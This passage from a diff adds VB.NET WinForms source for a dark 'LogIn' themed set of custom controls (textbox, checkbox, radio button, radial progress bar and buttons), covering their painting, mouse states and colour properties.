+ TB.ReadOnly = _ReadOnly + TB.UseSystemPasswordChar = _UseSystemPasswordChar + TB.BorderStyle = BorderStyle.None + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + AddHandler TB.TextChanged, AddressOf OnBaseTextChanged + AddHandler TB.KeyDown, AddressOf OnBaseKeyDown + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim GP As GraphicsPath + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + GP = RoundRectangle(Base, 6) + .FillPath(New SolidBrush(Color.FromArgb(42, 42, 42)), GP) + .DrawPath(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)), 2), GP) + .FillPie(New SolidBrush(FindForm.BackColor), New Rectangle(Width - 25, Height - 60, Height + 25, Height + 25), 90, 90) + .DrawPie(New Pen(Color.FromArgb(35, 35, 35), 2), New Rectangle(Width - 25, Height - 60, Height + 25, Height + 25), 90, 90) + .FillEllipse(New SolidBrush(_TextColour), New Rectangle(10, 5, 10, 7)) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +#End Region + +End Class + +Public Class LogInLogButton + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private _ArcColour As Color = Color.FromArgb(43, 43, 43) + Private _ArrowColour As Color = Color.FromArgb(235, 233, 234) + Private _ArrowBorderColour As Color = Color.FromArgb(170, 170, 170) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _HoverColour As Color = Color.FromArgb(0, 130, 169) + Private _PressedColour As Color = Color.FromArgb(0, 145, 184) + Private _NormalColour As Color = Color.FromArgb(0, 160, 199) +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Colour Properties" + + Public Property ArcColour As Color + Get + Return _ArcColour + End Get + Set(value As Color) + _ArcColour = value + End Set + End Property + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + Public Property ArrowColour As Color + Get + Return _ArrowColour + End Get + Set(value As Color) + _ArrowColour = value + End Set + End Property + + Public Property ArrowBorderColour As Color + Get + Return _ArrowBorderColour + End Get + Set(value As Color) + _ArrowBorderColour = value + End Set + End Property + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + Public Property PressedColour As Color + Get + Return _PressedColour + End Get + Set(value As Color) + _PressedColour = value + End Set + End Property + + Public Property NormalColour As Color + Get + Return _NormalColour + End Get + Set(value As Color) + _NormalColour = value + End Set + End Property + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Size = New Size(50, 50) + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(50, 50) + BackColor = Color.Transparent + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Height, Height) + Dim G = Graphics.FromImage(B) + Dim GP, GP1 As New GraphicsPath + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Dim P() As Point = {New Point(18, 22), New Point(28, 22), New Point(28, 18), New Point(34, 25), New Point(28, 32), New Point(28, 28), New Point(18, 28)} + Select Case State + Case MouseState.None + .FillEllipse(New SolidBrush(Color.FromArgb(56, 56, 56)), New Rectangle(CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 3, Height - 3 - 3)) + .DrawArc(New Pen(New SolidBrush(_ArcColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 3, Height - 3 - 3, -90, 360) + .DrawEllipse(New Pen(_BorderColour), New Rectangle(1, 1, Height - 3, Height - 3)) + .FillEllipse(New SolidBrush(_NormalColour), New Rectangle(CInt(3 / 2) + 3, CInt(3 / 2) + 3, Height - 11, Height - 11)) + .FillPolygon(New SolidBrush(_ArrowColour), P) + .DrawPolygon(New Pen(_ArrowBorderColour), P) + Case MouseState.Over + .DrawArc(New Pen(New SolidBrush(_ArcColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 3, Height - 3 - 3, -90, 360) + .DrawEllipse(New Pen(_BorderColour), New Rectangle(1, 1, Height - 3, Height - 3)) + .FillEllipse(New SolidBrush(_HoverColour), New Rectangle(6, 6, Height - 13, Height - 13)) + .FillPolygon(New SolidBrush(_ArrowColour), P) + .DrawPolygon(New Pen(_ArrowBorderColour), P) + Case MouseState.Down + .DrawArc(New Pen(New SolidBrush(_ArcColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 3, Height - 3 - 3, -90, 360) + .DrawEllipse(New Pen(_BorderColour), New Rectangle(1, 1, Height - 3, Height - 3)) + .FillEllipse(New SolidBrush(_PressedColour), New Rectangle(6, 6, Height - 13, Height - 13)) + .FillPolygon(New SolidBrush(_ArrowColour), P) + .DrawPolygon(New Pen(_ArrowBorderColour), P) + End Select + End With + MyBase.OnPaint(e) + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + + +Public Class LogInCheckBox + Inherits Control + +#Region "Declarations" + Private _Checked As Boolean + Private State As MouseState = MouseState.None + Private _CheckedColour As Color = Color.FromArgb(173, 173, 174) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BackColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) +#End Region + +#Region "Colour & Other Properties" + + + Public Property BaseColour As Color + Get + Return _BackColour + End Get + Set(value As Color) + _BackColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property CheckedColour As Color + Get + Return _CheckedColour + End Get + Set(value As Color) + _CheckedColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Protected Overrides Sub OnTextChanged(ByVal e As EventArgs) + MyBase.OnTextChanged(e) + Invalidate() + End Sub + + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + Invalidate() + End Set + End Property + + Event CheckedChanged(ByVal sender As Object) + Protected Overrides Sub OnClick(ByVal e As EventArgs) + _Checked = Not _Checked + RaiseEvent CheckedChanged(Me) + MyBase.OnClick(e) + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 22 + End Sub +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Cursor = Cursors.Hand + Size = New Size(100, 22) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim Base As New Rectangle(0, 0, 20, 20) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(Color.FromArgb(54, 54, 54)) + .FillRectangle(New SolidBrush(_BackColour), Base) + .DrawRectangle(New Pen(_BorderColour), New Rectangle(1, 1, 18, 18)) + Select Case State + Case MouseState.Over + .FillRectangle(New SolidBrush(Color.FromArgb(50, 49, 51)), Base) + .DrawRectangle(New Pen(_BorderColour), New Rectangle(1, 1, 18, 18)) + End Select + If Checked Then + Dim P() As Point = {New Point(4, 11), New Point(6, 8), New Point(9, 12), New Point(15, 3), New Point(17, 6), New Point(9, 16)} + .FillPolygon(New SolidBrush(_CheckedColour), P) + End If + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(24, 1, Width, Height - 2), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center}) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +#End Region + +End Class + +Public Class LogInNormalTextBox + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private WithEvents TB As Windows.Forms.TextBox + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _Style As Styles = Styles.NotRounded + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + Private _MaxLength As Integer = 32767 + Private _ReadOnly As Boolean + Private _UseSystemPasswordChar As Boolean + Private _Multiline As Boolean +#End Region + +#Region "TextBox Properties" + + Enum Styles + Rounded + NotRounded + End Enum + + + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If TB IsNot Nothing Then + TB.TextAlign = value + End If + End Set + End Property + + + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If TB IsNot Nothing Then + TB.MaxLength = value + End If + End Set + End Property + + + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If TB IsNot Nothing Then + TB.ReadOnly = value + End If + End Set + End Property + + + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If TB IsNot Nothing Then + TB.UseSystemPasswordChar = value + End If + End Set + End Property + + + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If TB IsNot Nothing Then + TB.Multiline = value + + If value Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + End If + End Set + End Property + + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If TB IsNot Nothing Then + TB.Text = value + End If + End Set + End Property + + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If TB IsNot Nothing Then + TB.Font = value + TB.Location = New Point(3, 5) + TB.Width = Width - 6 + + If Not _Multiline Then + Height = TB.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(TB) Then + Controls.Add(TB) + End If + End Sub + + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = TB.Text + End Sub + + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + TB.SelectAll() + e.SuppressKeyPress = True + End If + If e.Control AndAlso e.KeyCode = Keys.C Then + TB.Copy() + e.SuppressKeyPress = True + End If + End Sub + + Protected Overrides Sub OnResize(ByVal e As EventArgs) + TB.Location = New Point(5, 5) + TB.Width = Width - 10 + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + MyBase.OnResize(e) + End Sub + + Public Property Style As Styles + Get + Return _Style + End Get + Set(value As Styles) + _Style = value + End Set + End Property + + Public Sub SelectAll() + TB.Focus() + TB.SelectAll() + End Sub + + +#End Region + +#Region "Colour Properties" + + + Public Property BackgroundColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + TB = New Windows.Forms.TextBox + TB.Height = 190 + TB.Font = New Font("Segoe UI", 10) + TB.Text = Text + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + TB.MaxLength = _MaxLength + TB.Multiline = False + TB.ReadOnly = _ReadOnly + TB.UseSystemPasswordChar = _UseSystemPasswordChar + TB.BorderStyle = BorderStyle.None + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + AddHandler TB.TextChanged, AddressOf OnBaseTextChanged + AddHandler TB.KeyDown, AddressOf OnBaseKeyDown + End Sub + + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim GP As GraphicsPath + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + Select Case _Style + Case Styles.Rounded + GP = RoundRectangle(Base, 6) + .FillPath(New SolidBrush(Color.FromArgb(42, 42, 42)), GP) + .DrawPath(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)), 2), GP) + Case Styles.NotRounded + .FillRectangle(New SolidBrush(Color.FromArgb(42, 42, 42)), New Rectangle(0, 0, Width - 1, Height - 1)) + .DrawRectangle(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)), 2), New Rectangle(0, 0, Width, Height)) + End Select + + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + + + +#End Region + +End Class + +Public Class LogInRadialProgressBar + Inherits Control + +#Region "Declarations" + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _ProgressColour As Color = Color.FromArgb(0, 160, 199) + Private _Value As Integer = 0 + Private _Maximum As Integer = 100 + Private _StartingAngle As Integer = 110 + Private _RotationAngle As Integer = 255 + Private ReadOnly _Font As Font = New Font("Segoe UI", 20) +#End Region + +#Region "Properties" + + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(V As Integer) + Select Case V + Case Is < _Value + _Value = V + End Select + _Maximum = V + Invalidate() + End Set + End Property + + + Public Property Value() As Integer + Get + Select Case _Value + Case 0 + Return 0 + Case Else + Return _Value + End Select + End Get + + Set(V As Integer) + Select Case V + Case Is > _Maximum + V = _Maximum + Invalidate() + End Select + _Value = V + Invalidate() + End Set + End Property + + Public Sub Increment(ByVal Amount As Integer) + Value += Amount + End Sub + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property StartingAngle As Integer + Get + Return _StartingAngle + End Get + Set(value As Integer) + _StartingAngle = value + End Set + End Property + + + Public Property RotationAngle As Integer + Get + Return _RotationAngle + End Get + Set(value As Integer) + _RotationAngle = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(78, 78) + BackColor = Color.Transparent + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.AntiAliasGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Select Case _Value + Case 0 + .DrawArc(New Pen(New SolidBrush(_BorderColour), 1 + 5), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle - 3, _RotationAngle + 5) + .DrawArc(New Pen(New SolidBrush(_BaseColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, _RotationAngle) + .DrawString(_Value, _Font, Brushes.White, New Point(Width / 2, Height / 2 - 1), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case _Maximum + .DrawArc(New Pen(New SolidBrush(_BorderColour), 1 + 5), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle - 3, _RotationAngle + 5) + .DrawArc(New Pen(New SolidBrush(_BaseColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, _RotationAngle) + .DrawArc(New Pen(New SolidBrush(_ProgressColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, _RotationAngle) + .DrawString(_Value, _Font, Brushes.White, New Point(Width / 2, Height / 2 - 1), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case Else + .DrawArc(New Pen(New SolidBrush(_BorderColour), 1 + 5), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle - 3, _RotationAngle + 5) + .DrawArc(New Pen(New SolidBrush(_BaseColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, _RotationAngle) + .DrawArc(New Pen(New SolidBrush(_ProgressColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, CInt((_RotationAngle / _Maximum) * _Value)) + .DrawString(_Value, _Font, Brushes.White, New Point(Width / 2, Height / 2 - 1), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End Select + End With + MyBase.OnPaint(e) + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +#End Region + +End Class + + +Public Class LogInRadioButton + Inherits Control + +#Region "Declarations" + Private _Checked As Boolean + Private State As MouseState = MouseState.None + Private _HoverColour As Color = Color.FromArgb(50, 49, 51) + Private _CheckedColour As Color = Color.FromArgb(173, 173, 174) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BackColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) +#End Region + +#Region "Colour & Other Properties" + + + Public Property HighlightColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BackColour + End Get + Set(value As Color) + _BackColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property CheckedColour As Color + Get + Return _CheckedColour + End Get + Set(value As Color) + _CheckedColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Event CheckedChanged(ByVal sender As Object) + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(value As Boolean) + _Checked = value + InvalidateControls() + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + + Protected Overrides Sub OnClick(e As EventArgs) + If Not _Checked Then Checked = True + MyBase.OnClick(e) + End Sub + Private Sub InvalidateControls() + If Not IsHandleCreated OrElse Not _Checked Then Return + For Each C As Control In Parent.Controls + If C IsNot Me AndAlso TypeOf C Is LogInRadioButton Then + DirectCast(C, LogInRadioButton).Checked = False + Invalidate() + End If + Next + End Sub + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + InvalidateControls() + End Sub + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 22 + End Sub +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Cursor = Cursors.Hand + Size = New Size(100, 22) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim Base As New Rectangle(1, 1, Height - 2, Height - 2) + Dim Circle As New Rectangle(6, 6, Height - 12, Height - 12) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(Color.FromArgb(54, 54, 54)) + .FillEllipse(New SolidBrush(_BackColour), Base) + .DrawEllipse(New Pen(_BorderColour, 2), Base) + If Checked Then + Select Case State + Case MouseState.Over + .FillEllipse(New SolidBrush(_HoverColour), New Rectangle(2, 2, Height - 4, Height - 4)) + End Select + .FillEllipse(New SolidBrush(_CheckedColour), Circle) + Else + Select Case State + Case MouseState.Over + .FillEllipse(New SolidBrush(_HoverColour), New Rectangle(2, 2, Height - 4, Height - 4)) + End Select + End If + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(24, 3, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +#End Region + +End Class + +Public Class LogInLabel + Inherits Label + +#Region "Declaration" + Private _FontColour As Color = Color.FromArgb(255, 255, 255) +#End Region + +#Region "Property & Event" + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + Font = New Font("Segoe UI", 9) + ForeColor = _FontColour + BackColor = Color.Transparent + Text = Text + End Sub + +#End Region + +End Class + +Public Class LogInButton + Inherits Control + +#Region "Declarations" + Private ReadOnly _Font As New Font("Segoe UI", 9) + Private _ProgressColour As Color = Color.FromArgb(0, 191, 255) + Private _BorderColour As Color = Color.FromArgb(25, 25, 25) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + Private _MainColour As Color = Color.FromArgb(42, 42, 42) + Private _HoverColour As Color = Color.FromArgb(52, 52, 52) + Private _PressedColour As Color = Color.FromArgb(47, 47, 47) + Private State As New MouseState +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Properties" + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _MainColour + End Get + Set(value As Color) + _MainColour = value + End Set + End Property + + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property PressedColour As Color + Get + Return _PressedColour + End Get + Set(value As Color) + _PressedColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(75, 30) + BackColor = Color.Transparent + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Select Case State + Case MouseState.None + .FillRectangle(New SolidBrush(_MainColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + .DrawString(Text, _Font, Brushes.White, New Point(Width / 2, Height / 2), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Over + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 2)) + .DrawString(Text, _Font, Brushes.White, New Point(Width / 2, Height / 2), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Down + .FillRectangle(New SolidBrush(_PressedColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 2)) + .DrawString(Text, _Font, Brushes.White, New Point(Width / 2, Height / 2), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End Select + End With + MyBase.OnPaint(e) + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInButtonWithProgress + Inherits Control + +#Region "Declarations" + Private _Value As Integer = 0 + Private _Maximum As Integer = 100 + Private _Font As New Font("Segoe UI", 9) + Private _ProgressColour As Color = Color.FromArgb(0, 191, 255) + Private _BorderColour As Color = Color.FromArgb(25, 25, 25) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + Private _MainColour As Color = Color.FromArgb(42, 42, 42) + Private _HoverColour As Color = Color.FromArgb(52, 52, 52) + Private _PressedColour As Color = Color.FromArgb(47, 47, 47) + Private State As New MouseState +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = 